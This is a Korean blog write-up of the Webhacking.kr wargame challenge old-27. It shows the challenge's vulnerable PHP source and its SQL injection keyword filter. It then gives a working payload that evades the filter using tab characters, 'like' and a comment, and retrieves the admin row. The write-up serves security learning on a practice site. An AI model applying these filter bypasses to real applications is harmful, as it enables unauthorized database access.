Old-27 Domain & Tool
- 구분 : SQL Injection
- 문제풀이에 사용된 도구
- Chrome 103.0.5060.66
- python Module(Requests, beautrifulsoup)
Old-27 Question & Answer
대놓고 SQL Injection문제라고 되어있다. 입력전에 view-source를 통해서 우선 동작을 알아보자
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?php
if($_GET['no']){
$db = dbconnect();
if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
$r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
if($r['id']=="guest") echo("guest");
if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
<br><a href=?view_source=1>view-source</a>
</body>
</html>
코드는 preg_match로 get방식으로 넘어오는 no를 필터링한다. 필터링되는 값들은 다음과 같다.
- # : 주석방지인듯하다. --로 회피가능하다
- select : 서브쿼리 방지인듯하다.
- ( : 공백처리를 방해하기위함도 있지만, 이번문제에서 no를 가져오는값이 ()로 둘러쌓어였다. 쉽게 풀라고 )는 안막았다.
- 공백 : 공백을 preg_match에 추가해두었지만, 공백우회는 차고 넘쳤다.
- limit : 특정 행을 가져오는것을 방지한다.
- = : 값 비교를 방지한다. 보통 like나 in으로 우회한다.
- 0x : ascii사용을 의식한 듯의 방지문이다.
사용되는 쿼리문은 다음과 같다.
- select id from chall27 where id='guest' and no=({$_GET['no']})
결과적으로 괄호를 한번 닫아준다음")" 공백우회로는 Tab(%09)를 사용하고, =은 like로 돌려서 파라미터를 작성한다. 최종 파라미터는 다음과 같다.
- ?no=123)%09or%09no%09like%092--%09
- url_decoded : ?no=123) or no like 2--
NICE!
'WarGame > Webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] old-28 Answer (0) | 2022.07.29 |
---|---|
[Webhacking.kr] old-26 Answer (0) | 2022.07.28 |
[Webhacking.kr] old-25 Answer (0) | 2022.07.28 |
[Webhacking.kr] old-24 Answer (0) | 2022.07.27 |
[Webhacking.kr] old-23 Answer (0) | 2022.07.27 |